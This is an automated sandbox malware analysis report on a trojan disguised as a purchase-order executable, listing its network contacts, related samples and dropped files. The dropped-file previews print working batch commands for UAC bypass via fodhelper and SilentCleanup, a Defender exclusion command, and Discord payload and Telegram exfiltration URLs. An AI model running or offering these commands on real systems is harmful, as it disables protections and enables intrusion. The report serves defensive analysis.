https://discord.com/	0%	URL Reputation	safe
https://discord.com/	0%	URL Reputation	safe
https://discord.com/	0%	URL Reputation	safe
http://hltGXE.com	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://discord.com/J	0%	Avira URL Cloud	safe
https://api.ipify.orgGETMozilla/5.0	0%	URL Reputation	safe
https://api.ipify.orgGETMozilla/5.0	0%	URL Reputation	safe
https://api.ipify.orgGETMozilla/5.0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
discord.com	162.159.128.233	true	false	1%, Virustotal, Browse	unknown
cdn.discordapp.com	162.159.135.233	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/781759014248775694/781759240837791774/Evvured	Evvudrv.exe, 00000012.00000002.921664541.0000000002FE0000.00000004.00000001.sdmp	false		high
https://discord.com/	Evvudrv.exe, 00000012.00000002.921664541.0000000002FE0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://hltGXE.com	New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.telegram.org/bot%telegramapi%/sendDocumentdocument---------------------------x	New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	false		high
https://discord.com/J	Evvudrv.exe, 00000012.00000002.921664541.0000000002FE0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.orgGETMozilla/5.0	New Order PO20011046.exe, 0000000B.00000002.920637120.00000000028E1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.136.232	unknown	United States	13335	CLOUDFLARENETUS	false
162.159.130.233	unknown	United States	13335	CLOUDFLARENETUS	false
162.159.128.233	unknown	United States	13335	CLOUDFLARENETUS	false
162.159.135.233	unknown	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	324078
Start date:	28.11.2020
Start time:	10:26:47
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 40s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	New Order PO20011046.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@15/7@6/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 56.3% (good quality ratio 54.9%) Quality average: 85.6% Quality standard deviation: 23.6%
HCA Information:	Successful, ratio: 96% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 13.64.90.137, 51.104.144.132, 92.122.213.194, 92.122.213.247, 2.20.142.210, 2.20.142.209, 52.155.217.156, 20.54.26.129, 51.104.146.109 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, arc.msn.com.nsatc.net, db3p-ris-pf-prod-atm.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:27:37	API Interceptor	334x Sleep call for process: New Order PO20011046.exe modified
10:28:27	API Interceptor	1x Sleep call for process: svchost.exe modified
10:28:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Evvu C:\Users\user\AppData\Local\uvvE.url
10:28:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Evvu C:\Users\user\AppData\Local\uvvE.url
10:28:36	API Interceptor	4x Sleep call for process: Evvudrv.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
162.159.136.232	11-27.exe	Get hash	malicious	Browse
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse
	XcOxlmOz4D.exe	Get hash	malicious	Browse
	fAhW3JEGaZ.exe	Get hash	malicious	Browse
	SpecificationX20202611.xlsx	Get hash	malicious	Browse
	RFQ For TRANS ANATOLIAN NATURAL GAS PIPELINE (TANAP) - PHASE 1(Package 2).exe	Get hash	malicious	Browse
	tzjEwwwbqK.exe	Get hash	malicious	Browse
	New Microsoft Office Excel Worksheet.xlsx	Get hash	malicious	Browse
	USD67,884.08_Payment_Advise_9083008849.exe	Get hash	malicious	Browse
	USD55,260.84_PAYMENT_ADVICE_NOTE_FROM_20.11.2020.EXE	Get hash	malicious	Browse
	NyUnwsFSCa.exe	Get hash	malicious	Browse
	PO#0007507_009389283882873PDF.exe	Get hash	malicious	Browse
	D6vy84I7rJ.exe	Get hash	malicious	Browse
	LAX28102020HBL_AMSLAX1056_CTLQD06J0BL_PO_DTH266278_RFQ.exe	Get hash	malicious	Browse
	QgwtAnenic.exe	Get hash	malicious	Browse
	qclepSi8m5.exe	Get hash	malicious	Browse
	99GQMirv2r.exe	Get hash	malicious	Browse
	7w6Yl263sM.exe	Get hash	malicious	Browse
	8Ce3uRUjxv.exe	Get hash	malicious	Browse
	187QadygQl.exe	Get hash	malicious	Browse
162.159.130.233	11-27.exe	Get hash	malicious	Browse
	RFQ For TRANS ANATOLIAN NATURAL GAS PIPELINE (TANAP) - PHASE 1(Package 2).exe	Get hash	malicious	Browse
	Q21rQw2C4o.exe	Get hash	malicious	Browse
	tzjEwwwbqK.exe	Get hash	malicious	Browse
	DHL_Express_Consignment_Details.exe	Get hash	malicious	Browse
	oUI0jQS8xQ.exe	Get hash	malicious	Browse
	d6pj421rXA.exe	Get hash	malicious	Browse
	Order_Request_Retail_20-11691-AB.xlsx	Get hash	malicious	Browse
	RBBD5vivZc.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Siggen10.63473.17852.exe	Get hash	malicious	Browse
	IMG_P_O_RFQ-WSB_17025-ENd User-Evaluate.exe	Get hash	malicious	Browse
	GuYXnzIH45.exe	Get hash	malicious	Browse
	Jvdivmn_Signed_.exe	Get hash	malicious	Browse
	Dell ordine-09362-9-11-2020.exe	Get hash	malicious	Browse
	Factura.exe	Get hash	malicious	Browse
	4XqxRwCQi7.exe	Get hash	malicious	Browse
	RuntimeB.exe	Get hash	malicious	Browse
	Runtime Broker.exe	Get hash	malicious	Browse
	RYnBavdgiB.exe	Get hash	malicious	Browse
	Ever Rose Order Specification REF-987NDH.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
discord.com	11-27.exe	Get hash	malicious	Browse	162.159.136.232
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	162.159.128.233
	XcOxlmOz4D.exe	Get hash	malicious	Browse	162.159.136.232
	fAhW3JEGaZ.exe	Get hash	malicious	Browse	162.159.136.232
	HIp08HPg20.exe	Get hash	malicious	Browse	162.159.128.233
	MT103---USD42880.45---20201127--dbs--9900.exe	Get hash	malicious	Browse	162.159.137.232
	caw.exe	Get hash	malicious	Browse	162.159.138.232
	lxpo.exe	Get hash	malicious	Browse	162.159.128.233
	SpecificationX20202611.xlsx	Get hash	malicious	Browse	162.159.136.232
	RFQ For TRANS ANATOLIAN NATURAL GAS PIPELINE (TANAP) - PHASE 1(Package 2).exe	Get hash	malicious	Browse	162.159.137.232
	Scan 25112020 pdf.exe	Get hash	malicious	Browse	162.159.137.232
	Piraeus Bank_swift_.exe	Get hash	malicious	Browse	162.159.128.233
	Q21rQw2C4o.exe	Get hash	malicious	Browse	162.159.137.232
	Q21rQw2C4o.exe	Get hash	malicious	Browse	162.159.128.233
	tzjEwwwbqK.exe	Get hash	malicious	Browse	162.159.136.232
	DHL_Express_Consignment_Details.exe	Get hash	malicious	Browse	162.159.138.232
	New Microsoft Office Excel Worksheet.xlsx	Get hash	malicious	Browse	162.159.136.232
	Komfkim_Signed_.exe	Get hash	malicious	Browse	162.159.135.232
	oUI0jQS8xQ.exe	Get hash	malicious	Browse	162.159.137.232
	USD67,884.08_Payment_Advise_9083008849.exe	Get hash	malicious	Browse	162.159.136.232
cdn.discordapp.com	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Get hash	malicious	Browse	162.159.135.233
	11-27.exe	Get hash	malicious	Browse	162.159.129.233
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	162.159.129.233
	OVERDUE INVOICE.xls	Get hash	malicious	Browse	162.159.129.233
	MT103---USD42880.45---20201127--dbs--9900.exe	Get hash	malicious	Browse	162.159.129.233
	Vessel details.doc	Get hash	malicious	Browse	162.159.135.233
	RFQ For TRANS ANATOLIAN NATURAL GAS PIPELINE (TANAP) - PHASE 1(Package 2).exe	Get hash	malicious	Browse	162.159.130.233
	Scan 25112020 pdf.exe	Get hash	malicious	Browse	162.159.135.233
	Piraeus Bank_swift_.exe	Get hash	malicious	Browse	162.159.129.233
	Q21rQw2C4o.exe	Get hash	malicious	Browse	162.159.130.233
	Q21rQw2C4o.exe	Get hash	malicious	Browse	162.159.133.233
	tzjEwwwbqK.exe	Get hash	malicious	Browse	162.159.130.233
	DHL_Express_Consignment_Details.exe	Get hash	malicious	Browse	162.159.133.233
	New Microsoft Office Excel Worksheet.xlsx	Get hash	malicious	Browse	162.159.129.233
	INV SF2910202.doc	Get hash	malicious	Browse	162.159.135.233
	Komfkim_Signed_.exe	Get hash	malicious	Browse	162.159.129.233
	oUI0jQS8xQ.exe	Get hash	malicious	Browse	162.159.130.233
	USD55,260.84_PAYMENT_ADVICE_NOTE_FROM_20.11.2020.EXE	Get hash	malicious	Browse	162.159.135.233
	NyUnwsFSCa.exe	Get hash	malicious	Browse	162.159.133.233
	1099008FEDEX_090887766.xls	Get hash	malicious	Browse	162.159.129.233

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Get hash	malicious	Browse	162.159.135.233
	11-27.exe	Get hash	malicious	Browse	162.159.135.233
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	162.159.135.233
	XcOxlmOz4D.exe	Get hash	malicious	Browse	162.159.136.232
	fAhW3JEGaZ.exe	Get hash	malicious	Browse	162.159.136.232
	HIp08HPg20.exe	Get hash	malicious	Browse	104.23.98.190
	case.8920.xls	Get hash	malicious	Browse	104.27.186.55
	case.8920.xls	Get hash	malicious	Browse	172.67.212.16
	OVERDUE INVOICE.xls	Get hash	malicious	Browse	172.67.143.180
	Venom.exe	Get hash	malicious	Browse	104.23.98.190
	PO348578.jar	Get hash	malicious	Browse	104.23.99.190
	MT103---USD42880.45---20201127--dbs--9900.exe	Get hash	malicious	Browse	162.159.129.233
	notif8372.xls	Get hash	malicious	Browse	104.24.117.11
	notif8372.xls	Get hash	malicious	Browse	172.67.222.45
	SecuriteInfo.com.Heur.23770.xls	Get hash	malicious	Browse	104.31.87.226
	2020-11-27-ZLoader-DLL-example-01.dll	Get hash	malicious	Browse	172.67.155.205
	2020-11-27-ZLoader-DLL-example-02.dll	Get hash	malicious	Browse	172.67.155.205
	2020-11-27-ZLoader-DLL-example-03.dll	Get hash	malicious	Browse	104.27.143.240
	SecuriteInfo.com.Heur.23770.xls	Get hash	malicious	Browse	104.31.86.226
	Final_report_2020.html	Get hash	malicious	Browse	104.16.18.94
CLOUDFLARENETUS	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Get hash	malicious	Browse	162.159.135.233
	11-27.exe	Get hash	malicious	Browse	162.159.135.233
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	162.159.135.233
	XcOxlmOz4D.exe	Get hash	malicious	Browse	162.159.136.232
	fAhW3JEGaZ.exe	Get hash	malicious	Browse	162.159.136.232
	HIp08HPg20.exe	Get hash	malicious	Browse	104.23.98.190
	case.8920.xls	Get hash	malicious	Browse	104.27.186.55
	case.8920.xls	Get hash	malicious	Browse	172.67.212.16
	OVERDUE INVOICE.xls	Get hash	malicious	Browse	172.67.143.180
	Venom.exe	Get hash	malicious	Browse	104.23.98.190
	PO348578.jar	Get hash	malicious	Browse	104.23.99.190
	MT103---USD42880.45---20201127--dbs--9900.exe	Get hash	malicious	Browse	162.159.129.233
	notif8372.xls	Get hash	malicious	Browse	104.24.117.11
	notif8372.xls	Get hash	malicious	Browse	172.67.222.45
	SecuriteInfo.com.Heur.23770.xls	Get hash	malicious	Browse	104.31.87.226
	2020-11-27-ZLoader-DLL-example-01.dll	Get hash	malicious	Browse	172.67.155.205
	2020-11-27-ZLoader-DLL-example-02.dll	Get hash	malicious	Browse	172.67.155.205
	2020-11-27-ZLoader-DLL-example-03.dll	Get hash	malicious	Browse	104.27.143.240
	SecuriteInfo.com.Heur.23770.xls	Get hash	malicious	Browse	104.31.86.226
	Final_report_2020.html	Get hash	malicious	Browse	104.16.18.94
CLOUDFLARENETUS	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Get hash	malicious	Browse	162.159.135.233
	11-27.exe	Get hash	malicious	Browse	162.159.135.233
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	162.159.135.233
	XcOxlmOz4D.exe	Get hash	malicious	Browse	162.159.136.232
	fAhW3JEGaZ.exe	Get hash	malicious	Browse	162.159.136.232
	HIp08HPg20.exe	Get hash	malicious	Browse	104.23.98.190
	case.8920.xls	Get hash	malicious	Browse	104.27.186.55
	case.8920.xls	Get hash	malicious	Browse	172.67.212.16
	OVERDUE INVOICE.xls	Get hash	malicious	Browse	172.67.143.180
	Venom.exe	Get hash	malicious	Browse	104.23.98.190
	PO348578.jar	Get hash	malicious	Browse	104.23.99.190
	MT103---USD42880.45---20201127--dbs--9900.exe	Get hash	malicious	Browse	162.159.129.233
	notif8372.xls	Get hash	malicious	Browse	104.24.117.11
	notif8372.xls	Get hash	malicious	Browse	172.67.222.45
	SecuriteInfo.com.Heur.23770.xls	Get hash	malicious	Browse	104.31.87.226
	2020-11-27-ZLoader-DLL-example-01.dll	Get hash	malicious	Browse	172.67.155.205
	2020-11-27-ZLoader-DLL-example-02.dll	Get hash	malicious	Browse	172.67.155.205
	2020-11-27-ZLoader-DLL-example-03.dll	Get hash	malicious	Browse	104.27.143.240
	SecuriteInfo.com.Heur.23770.xls	Get hash	malicious	Browse	104.31.86.226
	Final_report_2020.html	Get hash	malicious	Browse	104.16.18.94

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	11-27.exe	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	caw.exe	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	6znqz0d1.dll	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	INV-FATURA010009.xlsx	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	INV-FATURA010009.xlsx	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	2zv940v7.dll	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	RFQ For TRANS ANATOLIAN NATURAL GAS PIPELINE (TANAP) - PHASE 1(Package 2).exe	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	Izezma64.dll	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	fuxenm32.dll	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	api-cdef.dll	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	Scan 25112020 pdf.exe	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	tarifvertrag_igbce_weihnachtsgeld_k#U00fcndigung.js	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	tarifvertrag_igbce_weihnachtsgeld_k#U00fcndigung.js	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	Piraeus Bank_swift_.exe	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	FxzOwcXb7x.exe	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	Izipubob.dll	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	nivude1.dll	Get hash	malicious	Browse	162.159.135.233 162.159.130.233
	Accesshover.dll	Get hash	malicious	Browse	162.159.135.233 162.159.130.233

Dropped Files

No context

Created / dropped Files

C:\Users\Public\Xzqvp.bat Download File
Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.565344987058984
Encrypted:	false
SSDEEP:	3:pFEjDaHF598TULLvBRVPjDaHF598TULLvBRy:pFEPaHhdLbnVPPaHhdLbny
MD5:	7FD082AAA613DEE2AC4DFE43AA568452
SHA1:	24C764D19008C8E6E0EA2B92D26D5A7EEDA39A3B
SHA-256:	45CF90DB799654A9E3BA1CB487E2169FFBE28E73D0EDDBF7453C25125FEC979C
SHA-512:	566986F5B9FD898101491C2649F242A5DEEC6A3D4E2F4F5A2761DBAFABF10733F7933C78CBBAFF5FEDCC302F5CF7E91BEA2CB3E7B6FEE05F4CA32C013B2B53B0
Malicious:	false
Preview:	cmd /c C:\Users\Public\Xzqvpcvb.vbs..exit..cmd /c C:\Users\Public\Xzqvpcvb.vbs..exit..

C:\Users\Public\Xzqvpcvb.vbs Download File
Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	4.98731455850251
Encrypted:	false
SSDEEP:	12:fDNZcAqSPK+uSLKMPncwWkqcgpDNZcAqSPK+uSLKMPncwWkqcg5:fDN2AqsOM/NWkqcgpDN2AqsOM/NWkqck
MD5:	6FFC5D3B2EEA8DE8E112C11EF172C202
SHA1:	08928DAAD7F51C719F21753FA77ECD2E22438A1F
SHA-256:	1DA88FA21B51E47D5EBAB7004DB14CD825646545A22BB8E4B9137910060FFDA2
SHA-512:	3D7E63D15446E248188889951B3AA7BAC1CB45FCDB2FFA4533FDBD3F820607F2B190E6AA0C321D71D71BC1DEE8A661E5C74BECD356AFD6B2EE5B4ACF772A3C5A
Malicious:	false
Preview:	dim FSO, objShell, strApp..set FSO = CreateObject("Scripting.FileSystemObject")..set objShell = CreateObject("Wscript.Shell")..path = "C:\Users\Public\Xzqvphcc.bat"..if FSO.FileExists(path) then..objShell.Run path, 0, false..Set objShellSh = Nothing..else..end if..dim FSO, objShell, strApp..set FSO = CreateObject("Scripting.FileSystemObject")..set objShell = CreateObject("Wscript.Shell")..path = "C:\Users\Public\Xzqvphcc.bat"..if FSO.FileExists(path) then..objShell.Run path, 0, false..Set objShellSh = Nothing..else..end if..

C:\Users\Public\Xzqvphcc.bat Download File
Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	590
Entropy (8bit):	4.692054461517121
Encrypted:	false
SSDEEP:	12:s8MeMQ7huqfDutOoN98MeMQ7huqfDutOoa:We/9uqfDutOqDe/9uqfDutOh
MD5:	A94C89BF90B24D3CE502FFA49B083A0E
SHA1:	CDD29B18E578429246C7482EA23EBBF53DBBF499
SHA-256:	48B9A3DCD7D1670772C2BD085CC0588D9A5B8529F602F5B6055DE9327C52CCD9
SHA-512:	D0E1BF66A95E2DA8C68C409D90E7134CE224B01D5894069BE24DD27BA7FC5F4A4D5BF3E254F5D702EE919D4AE86205409A42D6151BE50A88E785E0C4E05A906A
Malicious:	false
Preview:	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local ..del /q "C:\Windows \System32\"..rmdir "C:\Windows \System32"..rmdir "C:\Windows \"..mkdir "C:\Windows\Finex"..exit..powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local ..del /q "C:\Windows \System32\"..rmdir "C:\Windows \System32"..rmdir "C:\Windows \"..mkdir "C:\Windows\Finex"..exit..

C:\Users\Public\Xzqvptso.bat Download File
Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	673
Entropy (8bit):	5.055242933466055
Encrypted:	false
SSDEEP:	12:rgaX0WMYaXe1uOeV9gaXsbbyid1e4ziLpVmWEM3/jEb6dTD1Mn:rnX0dvXrOeV9nXsCIE4eTMTsSn
MD5:	F30EA4775996A873C0AD2C14679C9D97
SHA1:	05955BE0B5BE66FC7E1F582CD572EECC6E238C6F
SHA-256:	31F4287BD7007AF20FCE126ABD7D4AEA174C51DB2DE09D7F8A41AFED510689B5
SHA-512:	28BA7D44BAEF419B6831B47F0705B2E3966FB54808B050A2F802E5A857A0E6AA3CB34A627080758E1E40722188BD6D78AAD65A66CCE14FEB2693580D344BE924
Malicious:	false
Preview:	reg delete hkcu\Environment /v windir /f ..reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "..schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I..reg delete hkcu\Environment /v windir /f REG ADD "HKCU\SOFTWARE\Classes\ms-settings\shell\open\command" /t REG_SZ /d "C:\windows\system32\cmd.exe /c REG ADD HKLM\software\microsoft\windows\currentversion\policies\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f" /f.REG ADD "hkcu\software\classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d " " /f.fodhelper.exe.cmd /c start /min C:\Users\Public\x.bat

C:\Users\user\AppData\Local\Microsoft\Windows\Evvudrv.exe Download File
Process:	C:\Users\user\Desktop\New Order PO20011046.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1311424
Entropy (8bit):	7.189657105883589
Encrypted:	false
SSDEEP:	24576:FiLDfJXRq+fowpGG7By3Z72mwq8gKmX9hIbEIKn:FiLr5By3Z7NWgKAj
MD5:	310A7CA550B9997D0E0BCAF645530303
SHA1:	5617D1E233381EA3FD6AB796FCC6A2DE66137C51
SHA-256:	0EE90C988386390753A1954692A658E393D761887ECFBFD100105C365A3EBC34
SHA-512:	C6D438F7CCAEC0DCB5F64CBF50B05AF909366EA30C15C15C38CD1ABBAF02E7228A26C36781E140841DAA79C138BD0C63DEF9AB769EE40C2525A6A950B1107175
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 69%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..........................0...................@...........................0...".......................T......8............................p......................................................CODE....\|........................... ..`DATA....T).........................@...BSS.....M................................idata..."...0...$..................@....tls.........`...........................rdata.......p......................@..P.reloc..8...........................@..P.rsrc...............................@..P.............0......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\uvvE.url Download File
Process:	C:\Users\user\Desktop\New Order PO20011046.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:\\\C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Evvudrv.exe>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	169
Entropy (8bit):	5.15339576531091
Encrypted:	false
SSDEEP:	3:HRAbABGQYmHmEX+Ro6p4EkD5oef5yaKYTvQJ5ontCBuXV9k/qIH19Yxv:HRYFVmcKaJkDlR9NvQJ5OtZF9k/qI72v
MD5:	B0A940253E10E504ECD095FED46C0E83
SHA1:	683B39147B3ACE175BE29D6F8FBFB5B8F85D65B0
SHA-256:	4071F88611A9C05F83FF964309BB8F5DCF56E07DFB40388D732D47EF842A91DE
SHA-512:	4FCABD03392A263476576525A479B9861B20D396C73108B8C4BA001FC2DE7C0775ACD845A6D6D602D6D8EB348EFB87FEE765230745C6D76F73993019AE65B166
Malicious:	false
Yara Hits:	Rule: Methodology_Shortcut_HotKey, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\user\AppData\Local\uvvE.url, Author: @itsreallynick (Nick Carr) Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\user\AppData\Local\uvvE.url, Author: @itsreallynick (Nick Carr) Rule: Methodology_Suspicious_Shortcut_IconNotFromExeOrDLLOrICO, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\user\AppData\Local\uvvE.url, Author: @itsreallynick (Nick Carr)
Preview:	[InternetShortcut]..URL=file:\\\C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Evvudrv.exe..IconIndex=1..IconFile=.url..Modified=20F06BA06D07BD014D..HotKey=1601..

C:\Windows\assembly\Desktop.ini Download File
Process:	C:\Users\user\Desktop\New Order PO20011046.exe
File Type:	Windows desktop.ini, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	227
Entropy (8bit):	5.2735028737400205
Encrypted:	false
SSDEEP:	6:a1eZBXVNYTF0NwoScUbtSgyAXIWv7v5PMKq:UeZBFNYTswUq1r5zq
MD5:	F7F759A5CD40BC52172E83486B6DE404
SHA1:	D74930F354A56CFD03DC91AA96D8AE9657B1EE54
SHA-256:	A709C2551B8818D7849D31A65446DC2F8C4CCA2DCBBC5385604286F49CFDAF1C
SHA-512:	A50B7826BFE72506019E4B1148A214C71C6F4743C09E809EF15CD0E0223F3078B683D203200910B07B5E1E34B94F0FE516AC53527311E2943654BFCEADE53298
Malicious:	false
Preview:	; ==++==..; ..; Copyright (c) Microsoft Corporation. All rights reserved...; ..; ==--==..[.ShellClassInfo]..CLSID={1D2680C9-0E2A-469d-B787-065558BC7D43}..ConfirmFileOp=1..InfoTip=Contains application stability information...

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.189657105883589
TrID:	Win32 Executable (generic) a (10002005/4) 99.24% InstallShield setup (43055/19) 0.43% Win32 Executable Delphi generic (14689/80) 0.15% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	New Order PO20011046.exe
File size:	1311424
MD5:	310a7ca550b9997d0e0bcaf645530303
SHA1:	5617d1e233381ea3fd6ab796fcc6a2de66137c51
SHA256:	0ee90c988386390753a1954692a658e393d761887ecfbfd100105c365a3ebc34
SHA512:	c6d438f7ccaec0dcb5f64cbf50b05af909366ea30c15c15c38cd1abbaf02e7228a26c36781e140841daa79c138bd0c63def9ab769ee40c2525a6a950b1107175
SSDEEP:	24576:FiLDfJXRq+fowpGG7By3Z72mwq8gKmX9hIbEIKn:FiLr5By3Z7NWgKAj
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	b2a8949ea686da6a

Static PE Info

General
Entrypoint:	0x47d118
Entrypoint Section:	CODE
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
